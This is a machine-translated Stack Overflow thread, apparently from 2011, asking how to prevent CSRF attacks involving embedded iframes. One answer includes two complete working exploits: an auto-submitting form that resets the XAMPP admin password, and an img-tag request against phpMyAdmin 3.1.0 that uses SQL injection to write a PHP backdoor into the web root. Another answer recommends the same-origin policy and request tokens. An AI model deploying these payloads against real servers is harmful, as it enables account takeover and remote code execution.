如何防止涉及嵌入式 iframe 的 CSRF/XSRF 攻击？答案

【问题标题】：How to prevent CSRF/XSRF attacks involving embedded iframes?如何防止涉及嵌入式 iframe 的 CSRF/XSRF 攻击？
【发布时间】：2011-01-09 09:34:43
【问题描述】：

有没有办法限制 iframe 在父级中允许执行的操作？我正在寻找的是一个围绕 Javascript 的安全模型，它看起来像：

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
  Deny All;
  Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
  Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

两个 'trusted.html' 看起来像：

<html><body>
<script type="text/javascript">
function InternalCall()
{
  window.parent.AllowedToAccess();
}

function InternalCall2()
{
  window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
  Allow javascript:document.body.offsetHeight;
  Allow javascript:document.title;
}

script.untrusted {
  Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>

“SomethingIShouldnt.php”看起来像：

NotAllowedToAccess();

“untrusted.js”看起来像：

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

（呃……抱歉我有点矫枉过正了。）

您会注意到 HTML 代码中不存在的“安全”标签。我在想一些类似于 CSS 选择器的声明，并混合了一些类似 Apache 的安全语法来定义规则。（我没有使用 window.parent 规则，但它希望向阻止跨站点脚本的浏览器展示一个体面的解决方法，这真的很令人沮丧 - “我相信父窗口只能访问我的窗口的高度和标题”）。我希望这样的东西已经以某种形式存在（甚至是规范草案）。但恐怕答案是否定的。

这可以做到（甚至部分）吗？如果不是，那么我需要与谁交谈才能实施这样的事情（标准委员会或浏览器实施者）？当然，假设这甚至有意义？

【问题讨论】：

编写漏洞利用是证明安全系统免受攻击的唯一方法。安全系统在被证明可以保证您的安全之前是危险的。

标签： javascript security iframe csrf

【解决方案1】：

简短的回答是否定的，XSRF 与 iframe 无关。

伪造的请求是否来自 iframe 无关紧要。伪造的请求必须来自另一台服务器，攻击者才能利用它。黑客使用 iframe 是因为它们可用于在 XSRF 漏洞利用中伪造帖子请求，因为该漏洞利用必须使用 javascript 来自动提交论坛。这是我针对 XAMPP 编写的一个真实世界的 XSRF 漏洞利用，它更改了管理密码。最好在 iframe 中执行这个 javascript/html，这样它对受害者来说是不可见的，但是这个漏洞可以在没有 iframe 的情况下重定向整个窗口，它仍然会更改管理员的密码。

<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

但是如果 XSRF 攻击是基于 GET 的，那么 iframe 对攻击者没有帮助。最好使用 img 标签在受害者浏览器上自动发送伪造请求。这是我为 phpMyAdmin 3.1.0 编写的另一个漏洞利用。这会在 web 根目录中上传一个 php 后门。这个漏洞利用非常棒，因为它可以在启用 noscript 的情况下工作并影响大量系统。

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

【讨论】：

漏洞利用永远不会“很棒”。他们浪费每个人的时间。我对我的场景更感兴趣，据我所知，它符合 CSRF 的条件（假设父窗口有人在网站上以某种管理员权限查看页面）。我对我的场景进行了快速测试，即使不受信任的 Javascript 来自完全不同的域，我也能够在具有管理员权限的父级中不受阻碍地执行 Javascript（包括 AJAX 调用）。 “CSRF 利用了网站对用户浏览器的信任。”这似乎符合条件。
在你掌握了剥削的艺术之前，黑客是如何闯入的永远是一件神奇的事情。
你是我声明的一个很好的例子，我是那个给你投票的人。
漏洞利用总是“很棒”。但是让他们远离你自己写的东西是一个真正的麻烦。

【解决方案2】：

您可以使用同源策略 (SOP)。

将 iframe src 设置为不同的端口、子域或域，iframe 将无法访问父内容。

ie：对于页面

http://www.mydomain.com/mypage.html

对于 iframe，以下之一

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

但是，如果您只依赖页面中可用的 cookie，这不会阻止 CSRF。
如果有人知道如何在您的服务器上发布请求，他将能够做到。

防止这种情况发生的最简单方法是在您的页面中添加一个您为每个请求传递的 javascript 变量（SOP 无法从 iframe 访问）。

您可能会感兴趣，对垃圾邮件感到抱歉，因为我今天已经在 SO 上发布了一些关于它的内容，我们使用 iframe 对 JSONP 调用进行沙箱处理，但要在它们之间启用安全的字符串通信。

Here is the description 了解它的工作原理，并且有一个演示页面可以查看它的运行情况。

【讨论】：